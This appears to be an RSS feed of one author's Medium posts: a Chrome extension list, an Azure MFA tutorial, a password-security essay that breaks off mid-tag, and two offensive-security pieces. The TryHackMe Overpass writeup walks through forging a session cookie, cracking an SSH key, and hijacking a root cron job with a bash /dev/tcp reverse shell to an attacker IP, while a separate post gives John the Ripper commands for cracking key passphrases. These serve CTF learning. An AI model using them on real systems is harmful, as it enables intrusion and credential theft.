<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Sajeth Jonathan on Medium]]></title>
        <description><![CDATA[Stories by Sajeth Jonathan on Medium]]></description>
        <link>https://medium.com/@sajethjonathan?source=rss-bce1c321e919------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*VklBnleHTbkc3yaWPK95EA.jpeg</url>
            <title>Stories by Sajeth Jonathan on Medium</title>
            <link>https://medium.com/@sajethjonathan?source=rss-bce1c321e919------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 29 Nov 2026 03:50:20 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@sajethjonathan/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[5 chrome extensions every front-end developer must have]]></title>
            <link>https://sajethjonathan.medium.com/5-chrome-extensions-every-front-end-developer-must-have-1d2f0a472ff1?source=rss-bce1c321e919------2</link>
            <guid isPermaLink="false">https://medium.com/p/1d2f0a472ff1</guid>
            <category><![CDATA[front-end-development]]></category>
            <category><![CDATA[chrome-extension]]></category>
            <category><![CDATA[javascript]]></category>
            <category><![CDATA[ux]]></category>
            <category><![CDATA[ui]]></category>
            <dc:creator><![CDATA[Sajeth Jonathan]]></dc:creator>
            <pubDate>Mon, 18 Jul 2022 08:00:10 GMT</pubDate>
            <atom:updated>2022-07-18T08:00:10.666Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*qR0mG9YkLbngMPCb" /><figcaption>Photo by <a href="https://unsplash.com/@emilep?utm_source=medium&amp;utm_medium=referral">Emile Perron</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><p>A good developer not only have their own set of tools, but also the knowledge of using the right tool for the right job. Here are few of my favorites, that helps me when building websites.</p><h4>WhatFont</h4><p>When looking for inspiration to design your webpage, this extension can come in handy! Next time you visit a famous webpage, use it to identify the fonts used.</p><p><a href="https://chrome.google.com/webstore/detail/whatfont/jabopobgcpjmedljpbcaablpmlmfcogm">WhatFont - Chrome Web Store</a></p><h4>WhatRuns</h4><p>I use this to identify the tech stack used by an organization. It allows me to understand the various combinations of frameworks and services that can be used.</p><p><a href="https://chrome.google.com/webstore/detail/whatruns/cmkdbmfndkfgebldhnkbfhlneefdaaip">WhatRuns</a></p><h4>Site Pallete</h4><p>A simple extension to extracts colors from websites and generates compatible color palletes.</p><p><a href="https://chrome.google.com/webstore/detail/site-palette/pekhihjiehdafocefoimckjpbkegknoh">Site Palette</a></p><h4>Fake Filler</h4><p>This extension is essential when it comes to testing forms and input boxes. Saves a lot of time!</p><p><a href="https://chrome.google.com/webstore/detail/fake-filler/bnjjngeaknajbdcgpfkgnonkmififhfo">Fake Filler</a></p><h4>Responsive Viewer</h4><p>A website isn’t complete if it isn’t responsive. This extensions allows developers to show multiple screens in one view, so that you can make sure your webpages are compatible with any major device around the world.</p><p><a href="https://chrome.google.com/webstore/detail/responsive-viewer/inmopeiepgfljkpkidclfgbgbmfcennb?hl=en">Responsive Viewer</a></p><p>Let me know what your essential chrome extensions are, in the comments!</p><p>If you like my content and want to see more of these articles, let me know on twitter.</p><p><a href="https://twitter.com/sajethjonathan">JavaScript is not available.</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1d2f0a472ff1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe Overpass Writeup]]></title>
            <link>https://medium.com/the-padlock/tryhackme-overpass-writeup-af945ec29be9?source=rss-bce1c321e919------2</link>
            <guid isPermaLink="false">https://medium.com/p/af945ec29be9</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[writeup]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[Sajeth Jonathan]]></dc:creator>
            <pubDate>Mon, 27 Jul 2020 08:30:13 GMT</pubDate>
            <atom:updated>2022-07-26T17:42:46.629Z</atom:updated>
            <content:encoded><![CDATA[<h4>A beginner-friendly writeup on TryHackMe’s Overpass challenge</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0KKSsKjswXrCclc7qeKtwA.png" /></figure><p>I am back with another writeup for a new room at TryHackMe. I loved the privilege escalation part in this lab. I will keep this post detailed since I hope beginners can learn a lot from this writeup. 🙂</p><p><a href="https://tryhackme.com/room/overpass">Overpass</a></p><h4>Resources Used</h4><ul><li>Kali VM</li><li>dirbuster/<a href="https://github.com/OJ/gobuster">gobuster</a></li><li><a href="https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS">linpeas</a></li><li>ssh2john.py</li></ul><h4>Enumeration</h4><p>I probed through the webpage hoping to find something commented or pointing out a directory, but I came across nothing. The hint states the foothold could be gained using an OWASP Top 10 vulnerabilities, and also mentions *NOT* to brute force. It was uncanny that “NOT” was all caps. So I guessed it might be a message to brute force? So, I used the default wordlist on kali and powered up <a href="https://github.com/OJ/gobuster">gobuster</a> :</p><pre>gobuster dir -u IPADDRESS -w WORDLIST -x .php,.log,.txt -t 40</pre><p>In a few seconds, it found there was an admin panel at /admin.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/949/1*RtJioXNH9CAbNEIok9cQTw.png" /></figure><p>Great! Now there is a login page. I could try a few things here; Bruteforce, SQL injection or Broken Authentication. However, the hint stated it was one of the OWASP Top 10, so brute force is crossed out. So that leaves us with SQL injection or <a href="https://owasp.org/www-project-top-ten/OWASP_Top_Ten_2017/Top_10-2017_A2-Broken_Authentication">Broken Authentication</a>. I figured I’ll start with Broken Authentication. I read through the source code to observe how the page works. Firefox and Chrome have built-in debuggers to read the loaded javascript files.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/627/1*l5Za3SuuJ5BiQOpF_D1opg.png" /></figure><p>There are two javascript files loaded here,</p><ol><li>cookie.js</li><li>login.js</li></ol><p>cookie.js looked like a common javascript library, so I moved on to login.js because that seemed to be custom code. Hovering through the code, the login() function caught my eye.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/570/1*WhEIrLUx5kykIWNb_ctfNg.png" /></figure><p>The condition checks for the valid credential. If incorrect, it outputs “Incorrect Credentials”, but if correct, it sets a Cookie named <strong>SessionToken</strong> and redirects the user to /admin. I wonder if the server actually validates the cookie 😉</p><p>I created my own cookie using the browser extension EditThisCookie with <strong>SessionToken </strong>as the name and gave it some random value.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/504/1*0_nxw6xSCMuRucCa9zBJ8w.png" /></figure><p>I saved it and reloaded the page. It worked! 👏 The server does not validate the cookie correctly.</p><h3>Foothold</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/743/1*ROiiI9mxRUYMvK_X4nVgmA.png" /></figure><p>We are greeted as the Administrator and there is a note to James. Before we go any further, there are two ways of SSH authentication:</p><ol><li>By username and password</li><li>By username and public-private keypairs.</li></ol><p>In here, the private key of the user is exposed 🤦‍♂ ️. The other part i.e. the username could be easily guessed: <strong>james. </strong>The next step is trying to login through ssh. So, I copied this private key to a file and using the <strong>-i </strong>flag<strong> </strong>in ssh, I can provide the private key (usually named <strong>id_rsa</strong>).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*bN-417POMcXABKr7XVgLrg.png" /></figure><p>Oh and don’t forget to change the permission of the file to 600 (-rw — — — -)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/447/1*DR51USqJbOWbhuccpcblww.png" /></figure><p>I was ready to login to the server now. However, the private key was password-protected 😓</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/613/1*rk0YOn1YrWAlfR-Jed0Qag.png" /></figure><p>Well, I did not want to give up now. The next step was to brute-force the password 😎</p><blockquote>Read my article to learn how to brute-force ssh private key passwords.</blockquote><p><a href="https://medium.com/bugbountywriteup/cracking-ssh-private-key-passphrase-459ba17e8d5d">Cracking  SSH Private key passphrase</a></p><p>After brute-forcing the ssh private key password, I used it and got myself authenticated 🤙 Listing out the directory showed a <strong>user.txt</strong> file which contained the <strong>user flag</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/244/1*j2QO0F6lW95-QD_oEKs02g.png" /></figure><h4>Privilege Escalation</h4><p>The other file, <strong>todo.txt</strong> had some juicy info.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/723/1*wdlQ5Kxw17Wi0br9-Oms4g.png" /></figure><p>The last bullet point questions on how the user <strong>Paradox</strong> got the automated build script working and where the builds go. Therefore, there is some sort of automation at working here to build the Go Binaries. The Go Binary and the build script were provided at the /downloads page in the website. I spent a long time trying stuff and did not find anything. With nowhere to go, I tried running <strong>LinPeas </strong>to get any info.</p><p><a href="https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS">PEASS-ng/linPEAS at master · peass-ng/PEASS-ng</a></p><p>After analyzing its output, I noticed it! There was a cron job running to compile the binaries! Ugh, why didn’t I think of that earlier? 🤦‍♂️ It clearly said AUTOMATION.</p><p>Anyways, <strong>cron </strong>is a time-based job scheduler in *nix systems.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/834/1*0JUyULu2m2ZzfV81_1ZBCA.png" /></figure><p>In /etc/crontab, you can read all the scheduled events. Unfortunately, the current user cannot edit it. Let me explain the cron job,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/878/1*qwuNk3FaQqtQ4_J3NZko6Q.png" /></figure><p>This is it. This command is going to be run as <strong>root. </strong>Since I could not edit the command, I need to somehow inject custom bash code and run it as root. One possible avenue is running a bash script to gain a reverse shell as <strong>root.</strong> But how could I add my own script in the <strong>overpass.thm </strong>domain? This is where it gets interesting. Have a look at the /etc/hosts file,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/499/1*x9tlXZcE91ZHe41vYjbOYA.png" /></figure><p>The <strong>overpass.thm</strong> domains point to the <strong>localhost</strong> (127.0.0.1). I can edit it and change it to my IP address. Then I can host a server with a custom bash script which will give me a reverse shell. When the cron job runs, it will go to my server and download my malicious script and make the <strong>overpass-prod</strong> server run it as root! Thus, gaining a root shell.</p><p>Well, if it is hard to wrap your head around this method, here is a simple diagram explaining the scenario 🙂</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Q1EcsGW0_zA-XSYpYycyDw.png" /></figure><h4>Step 1</h4><p>Edit the /etc/hosts file to include your machine IP address. Find your IP address using,</p><pre>ip addr</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/481/1*IpoMDQglEPS9XWW_MhYJMw.png" /></figure><h4>Step 2</h4><p>Create the reverse shell script, name it buildscript.sh and make it executable. Then host it in the exact folder path i.e. /downloads/src</p><p>Resource for awesome reverse shells! 👇</p><p><a href="http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet">Reverse Shell Cheat Sheet</a></p><pre>$ mkdir -p downloads/src <br>$ cat &#39;bash -i &gt;&amp; /dev/tcp/IPADDRESS/8080 0&gt;&amp;1&#39; &gt; /downloads/src/buildscript.sh<br>$ chmod +x /downloads/src/buildscript.sh</pre><h4>Step 3</h4><p>Run a server to host your malicious bashscript. There are many ways to create a server, I did it with python since it is easy.</p><pre>$ python3 -m http.server 80</pre><blockquote>Note: I hosted the server in port 80 since the cron job is going to request for the default port</blockquote><h4>Step 4</h4><p>In another tab, listen for incoming requests using netcat in port 8080.</p><pre>nc -lvpn 8080</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*dkm1Bav-nb6fMB6HKl9A4w.png" /></figure><blockquote>It is port 8080 since in the reverse shell script, I used 8080. If you chose a different port, listen in that port.</blockquote><p>Now, all you have to do is to wait for the cron job to run. Once it runs, you can identify its request to your python server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/808/1*1e8iRxolYvzHqCRzaecNjQ.png" /></figure><p>And immediately you should have the reverse shell in the other tab in which you were listening using netcat.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/642/1*KnVc2Y-hZJGDvyoCAEUk3Q.png" /></figure><p>This shell should give you root access and the root flag should be in <strong>root.txt.</strong></p><h3>Final Thoughts</h3><p>An overall awesome challenge! If you are unclear about some parts in this challenge, I recommend you to read more about that particular topic, since a fair knowledge of Linux is needed to complete this.</p><p>I will be trying other rooms at TryHackMe and posting my writeups too. So watch out this space for more awesome content.</p><p>Follow my socials for more cybersecurity tips and content. 📝</p><ul><li><a href="https://www.linkedin.com/in/sajethjonathan/">Sajeth Jonathan - Colombo District, Western Province, Sri Lanka | Professional Profile | LinkedIn</a></li><li><a href="https://twitter.com/sajethjonathan">JavaScript is not available.</a></li></ul><h3>Further Reading</h3><ul><li><a href="https://ostechnix.com/a-beginners-guide-to-cron-jobs/">A Beginners Guide To Cron Jobs - OSTechNix</a></li><li><a href="https://www.w3schools.com/js/js_cookies.asp">JavaScript Cookies</a></li><li><a href="https://community.perforce.com/s/article/6210">Customer Community</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=af945ec29be9" width="1" height="1" alt=""><hr><p><a href="https://medium.com/the-padlock/tryhackme-overpass-writeup-af945ec29be9">TryHackMe Overpass Writeup</a> was originally published in <a href="https://medium.com/the-padlock">The Padlock</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Cracking  SSH Private key passphrase]]></title>
            <link>https://medium.com/the-padlock/cracking-ssh-private-key-passphrase-459ba17e8d5d?source=rss-bce1c321e919------2</link>
            <guid isPermaLink="false">https://medium.com/p/459ba17e8d5d</guid>
            <category><![CDATA[john-the-ripper]]></category>
            <category><![CDATA[how-to]]></category>
            <category><![CDATA[ssh]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[brute-force]]></category>
            <dc:creator><![CDATA[Sajeth Jonathan]]></dc:creator>
            <pubDate>Mon, 27 Jul 2020 06:21:42 GMT</pubDate>
            <atom:updated>2022-11-08T15:29:30.163Z</atom:updated>
            <content:encoded><![CDATA[<h3>Cracking SSH Private key passphrase</h3><h4>Using John the Ripper!</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/336/1*p9Q-behyR-YCoWFVCA4YEg.png" /></figure><blockquote>Upgrade your <strong>ethical hacking</strong> skills through this <a href="https://stacksocial.com/sales/the-a-to-z-cyber-security-it-certification-training-bundle?aid=a-889nz1ma"><strong>A to Z Cyber Security Training Bundle</strong></a> (Limited Time Offer!)</blockquote><h4>Step 1</h4><p>Copy the SSH key you want to crack.</p><pre>cp /.ssh/id_rsa id_rsa</pre><h4>Step 2</h4><p>To brute-force using john, we have to convert it into a suitable format. For this, we can use <a href="https://raw.githubusercontent.com/koboi137/john/bionic/ssh2john.py">ssh2john.py</a>. This comes pre-installed in Kali Linux. You can find it using <strong>locate </strong>command and copy it to your current working directory.</p><pre>updatedb #<strong>updatedb</strong> creates or updates a database used by <a href="https://linux.die.net/man/1/locate"><strong><em>locate</em></strong></a><em>(1)</em><br>locate ssh2john.py<br>cp $(locate ssh2john.py).</pre><h4>Step 3</h4><p>Next, you have to create a hash file from the id_rsa file to use it with john.</p><pre>python ssh2john.py id_rsa &gt; id_rsa.hash</pre><h4>Step 4</h4><p>To conduct the brute force, you need a wordlist. You can try the rockyou wordlist pre-installed in Kali Linux.</p><pre>locate rockyou.txt.gz<br>cp $(locate rockyou.txt.gz) .</pre><p>Unzip the file,</p><pre>gunzip rockyou.txt.gz</pre><h4>Step 5</h4><p>At last, we can use<strong> john </strong>to crack the hash using rockyou.txt and retrieve the passphrase.</p><pre>john id_rsa.hash -wordlist=rockyou.txt</pre><p>Good Luck cracking it!</p><p>Follow my socials for more cybersecurity content. 📝</p><ul><li><a href="https://www.linkedin.com/in/sajethjonathan/">Sajeth Jonathan - Colombo District, Western Province, Sri Lanka | Professional Profile | LinkedIn</a></li><li><a href="https://twitter.com/sajethjonathan">JavaScript is not available.</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=459ba17e8d5d" width="1" height="1" alt=""><hr><p><a href="https://medium.com/the-padlock/cracking-ssh-private-key-passphrase-459ba17e8d5d">Cracking  SSH Private key passphrase</a> was originally published in <a href="https://medium.com/the-padlock">The Padlock</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Multi-Factor Authentication in Azure]]></title>
            <link>https://medium.com/the-padlock/multi-factor-authentication-in-azure-98dbef27c858?source=rss-bce1c321e919------2</link>
            <guid isPermaLink="false">https://medium.com/p/98dbef27c858</guid>
            <category><![CDATA[active-directory]]></category>
            <category><![CDATA[mfa]]></category>
            <category><![CDATA[how-to]]></category>
            <category><![CDATA[microsoft]]></category>
            <category><![CDATA[azure]]></category>
            <dc:creator><![CDATA[Sajeth Jonathan]]></dc:creator>
            <pubDate>Wed, 13 May 2020 11:40:12 GMT</pubDate>
            <atom:updated>2021-03-15T19:38:28.385Z</atom:updated>
            <content:encoded><![CDATA[<h4>Setup your own MFA policy in Azure Active Directory</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*zTOjM30KAAfFE1Ru.png" /></figure><p>In my <a href="https://medium.com/@sws.jona/problem-with-passwords-1f9655b3327d">previous article,</a> I explained about MFA and the advantages of it. This article would give you an Introduction to the MFA in Azure and a brief tutorial on how to set up MFA in Azure AD.</p><p><a href="https://medium.com/@sws.jona/problem-with-passwords-1f9655b3327d">Problem With Passwords</a></p><h3>Authentication Modes for Cloud-based Azure MFA</h3><p>Azure offers various methods of authentication, the important ones are,</p><ul><li>Phone Call Mode</li><li>SMS Mode</li><li><a href="https://www.microsoft.com/en-us/account/authenticator">Microsoft Authenticator App</a></li></ul><h3>Enabling MFA Using Conditional Access Policies</h3><p>MFA can be enforced using Conditional Access Policies. This a capability of Azure Active Directory that lets you create policies to enable or restrict to cloud-based applications. It applies to users or groups. This can be equipped to protect cloud-based applications such as :</p><ul><li>Azure App Services</li><li>Azure AD Application Proxy</li><li>Microsoft Services</li></ul><p>Users included in the policy can have other conditions to be met for the policy to be applied, such as:</p><ul><li>When the user accesses the application from a particular country</li><li>The platform or device the user is using to access the application</li><li>Users accessing the cloud application from outside the corporate network</li></ul><blockquote><em>To configure custom policies, an Azure Active Directory Premium License is required.</em></blockquote><p>Let’s try enforcing Conditional Access Policy when users login to the <a href="http://portal.azure.com/">Azure Portal</a>.</p><p>Navigate to the Conditional Access Policy page.</p><p><strong>Active Directory &gt; Security &gt; Conditional Access</strong></p><p>Click the “New Policy” button to create a new policy.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*o-MYM_0nbQx8qnOmGAwy5w.png" /></figure><p>I’ll explain each of the options available to get a good understanding. For this tutorial, I will name this Conditional Access Policy as “MFA Test”.</p><h3>Assignments Section</h3><ul><li>Users and Groups</li></ul><p>The targeted individuals must be selected here. It can be none, all users, or particular users and groups. Moreover, we can select individuals to exclude from this policy too.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*g7jbYHRHIcsKXSQIPpiBug.png" /></figure><ul><li>Cloud apps or actions</li></ul><p>In this tutorial, I will be enforcing this policy on the Azure Portal (<a href="http://portal.azure.com/"><em>portal.azure.com</em></a>). Therefore, click “Select Apps” and choose “Microsoft Azure Management”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cAEd6P9Q3DG6k_efjeZZAw.png" /></figure><ul><li>Conditions</li></ul><p>Conditions panel will define the situations when the policy will apply. The available options are :</p><ol><li>Sign-in risk: Likelihood that the sign-in is coming from someone other than the user</li><li>Device Platforms: The platform the user is signing in from (ios, Android, Windows Phone, Windows, macOS)</li><li>Locations: Location the user is signing from. The users IP range determines this.</li><li>Client apps: Software which user tries to log in from (Browser, Mobile Apps, Desktop Client)</li><li>Device State: Whether the device user is signing in from is ‘Hybrid Azure AD joined’ or ‘marked as compliant’.</li></ol><p>Using conditions are out of scope for this tutorial.</p><h3>Access Control Section</h3><ul><li>Grant panel</li></ul><p>In this panel, we can block access or select additional requirements which need to be satisfied to allow access. To let users use MFA when logging in to Azure Portal, let’s enable ‘Require Multi-Factor Authentication’.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0-Hg9RfNxh9naOExUQEWMg.png" /></figure><ul><li>Session panel</li></ul><p>Session controls enable limited experience within a cloud app through on Sign-in Frequency or Persistent browser session. This would be out of scope for this tutorial.</p><h3>Enable Policy</h3><p>To apply all these requirements we have to enable this policy.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/317/1*MdvoQQzdSnDfzC5Iq7L2gg.png" /></figure><p>Additionally, there is a ‘Report-only’ mode which lets the policies to be evaluated and logged at sign-in but it does not impact users.</p><h3>Testing The Policy</h3><p>Once this policy has been created, it can be tested. When the users in the “MFA Test” group login next time, they would receive instructions to set up Multi-Factor Authentication.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/638/1*zt1FouE3kRT8cXyq_-Nc-g.png" /></figure><p>In here, the user can set up the “Microsoft Authenticator App” as the Second factor of Authentication.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*P4YZ92XBeAjY8yKs28Bkmw.png" /></figure><p>To do this, choose “Mobile App” and select “Recieve notifications for verification”. Every time the user tries to log in, they only have to approve or deny the request through a notification.</p><p>👉Get the <a href="https://www.microsoft.com/en-us/account/authenticator">Microsoft Authenticator App</a></p><p>There would be a prompt to add this account to the Authenticator App by scanning a QR code. In the authenticator app, you can add the account like this,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IgvIl1SwJ0cODFNSCIG5gw.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rDMLxD1hjmjYBLWFWVt4nQ.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*b1eP6ZTf6YxaX88Nnk9Nzg.jpeg" /></figure><p>Once you have added it, a 6 digit One Time Passcode (OTP) token would be generated every 30 seconds. For verification, the website would request you to enter the OTP.</p><p>Next, the user can provide their phone number as an alternative method in case they lose access to the mobile app.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YH6e7_8DeDBAaNz0EfdaKg.png" /></figure><p>Hereafter, when the user logs in, the conditional access policy would be enforced.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/625/1*K5yhuRtL4RvZDW9aLw9uwQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nPLbTniuFPAOMHrxwCtOsQ.jpeg" /><figcaption>Web &amp; Mobile View</figcaption></figure><h4>Conclusion</h4><p>Conditional Access Policies are a convenient way of adding security measures to Microsoft services. Combining it with the Microsoft Authenticator app is also efficient because the extra authentication factor is only one-tap away. Use Conditional Access Policies provided by Azure, and elevate your security mechanisms.</p><p>The Video Version of this article can be found at <a href="https://www.youtube.com/channel/UCZPvZJqYflHs-350HsG6qhA">Microsoft Student Champs Sri Lanka</a>’s Youtube Page.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FVegdsCUF6vA%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DVegdsCUF6vA&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FVegdsCUF6vA%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/3425652759f1b97813d03924d30509e0/href">https://medium.com/media/3425652759f1b97813d03924d30509e0/href</a></iframe><p>If there is anything I missed, let me know.</p><p><a href="https://twitter.com/swsjona">JavaScript is not available.</a></p><h4>Further Reading</h4><ul><li><a href="https://docs.microsoft.com/en-us/azure/active-directory/conditional-access/concept-conditional-access-conditions">Conditions in Conditional Access policy - Azure Active Directory</a></li><li><a href="https://docs.microsoft.com/en-us/learn/">Training</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=98dbef27c858" width="1" height="1" alt=""><hr><p><a href="https://medium.com/the-padlock/multi-factor-authentication-in-azure-98dbef27c858">Multi-Factor Authentication in Azure</a> was originally published in <a href="https://medium.com/the-padlock">The Padlock</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Problem With Passwords]]></title>
            <link>https://medium.com/the-padlock/problem-with-passwords-1f9655b3327d?source=rss-bce1c321e919------2</link>
            <guid isPermaLink="false">https://medium.com/p/1f9655b3327d</guid>
            <category><![CDATA[multi-factor-auth]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[authentication]]></category>
            <category><![CDATA[passwords]]></category>
            <category><![CDATA[2fa]]></category>
            <dc:creator><![CDATA[Sajeth Jonathan]]></dc:creator>
            <pubDate>Tue, 12 May 2020 08:33:37 GMT</pubDate>
            <atom:updated>2020-05-12T16:49:57.669Z</atom:updated>
            <content:encoded><![CDATA[<h4>And why you should use Multi-Factor Authentication.</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*b0UFi6Uy1xGvhYQh" /><figcaption>Photo by <a href="https://unsplash.com/@robschreckhise?utm_source=medium&amp;utm_medium=referral">Rob Schreckhise</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><p>We are all accustomed to using passwords to access websites and computer resources. The result of this has cultivated situations where users re-use the same passwords on multiple websites. Even if they used unique passwords, they tend to be short passwords that are easy to remember and also, easy to guess by an attacker. How often have you used the same password on multiple websites? On average, employees reuse a password <a href="https://www.lastpass.com/state-of-the-password/global-password-security-report-2019">13 times</a>.</p><p>Let’s assume employees have long passwords which are challenging to guess; it would be written in a sticky note on their desk. One good solution is to use a password manager; local or in the cloud, behind one (hopefully) strong master password. What if this digital vault containing all your passwords gets compromised? Unlikely to happen, but a viable threat. Even though a good password manager stores all your passwords safely, there are many other circumstances where your passwords could be leaked :</p><ul><li>The website you own an account can suffer a data breach, leaking your password hashes. Cracking it would be a piece of cake possible with today’s GPUs and cloud computing <em>(Make sure your password has 16 or more characters)</em>. Worst case? Your actual password being revealed if they had stored it in plaintext in any of their servers (yes! Some <a href="https://krebsonsecurity.com/2019/03/facebook-stored-hundreds-of-millions-of-user-passwords-in-plain-text-for-years/">companies</a> <a href="https://www.theverge.com/2019/5/21/18634842/google-passwords-plain-text-g-suite-fourteen-years">still</a> <a href="https://www.theverge.com/2019/4/18/18485599/facebook-instagram-passwords-plain-text-millions-users">do</a> this).</li></ul><p>A data breach <a href="https://enterprise.verizon.com/resources/reports/dbir/2019">report</a> given by Verizon for the year 2019 found <a href="https://enterprise.verizon.com/resources/reports/dbir/2019/summary-of-findings/">43% of the breaches</a> involved small business victims and <a href="https://enterprise.verizon.com/resources/reports/dbir/2019/summary-of-findings/">56% of them</a> took months or longer to discover!</p><ul><li>Falling prey to a phishing campaign.</li><li>Malware stealing all your stored credentials.</li><li>Social Engineering! We can be manipulated effortlessly to click a link (which may download malware) or login to a fake website. (Your credentials would be submitted to the attacker).</li></ul><p>Passwords have been always notorious to handle. But, passwords are only a small part of the available authentication factors.</p><h3>Authentication Factor</h3><p>An Authentication Factor is a category of credentials used to verify identity. It is something a claimant possesses or controls. Authenticator Factors can be of <a href="https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-63-3.pdf">three</a> types ;</p><ol><li>Something you know — Password, PIN Code</li><li>Something you have — Smart Card, Hand-Held tokens</li><li>Something you are — Fingerprint, Retinal or Iris prints</li></ol><h3>Multi-Factor Authentication (MFA)</h3><p>NIST <a href="https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-63-3.pdf">describes</a> Multi-factor Authentication (MFA) is when an authentication system requires more than one distinct authentication factor for successful authentications. MFA can be performed using a single authenticator that provides more than one factor or by a combination of authenticators that provide different factors.</p><p>Confusing? Let me explain MFA with an example you are familiar with. When you want to withdraw money from the ATM, how do you authenticate yourself? You prove that you are the claimant using two distinct methods;</p><ul><li>Credit/Debit Card (Something You Have)</li><li>PIN Code(Something You Know)</li></ul><p>This is MFA! You proved yourself using two distinct factors. Bear in mind, increasing the number of authentication factors is inversely proportional to the usability of the system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/676/1*L_c2DLJrElw49_f_XT3LJA.png" /></figure><p>Usually, the sweet spot is using two factors. This entails Two-Factor Authentication (2FA). It has proven to be effective which made <a href="https://www.lastpass.com/state-of-the-password/global-password-security-report-2019">57% of businesses</a> globally have employees using 2FA.</p><h4>Two-factor Authentication Flow</h4><figure><img alt="" 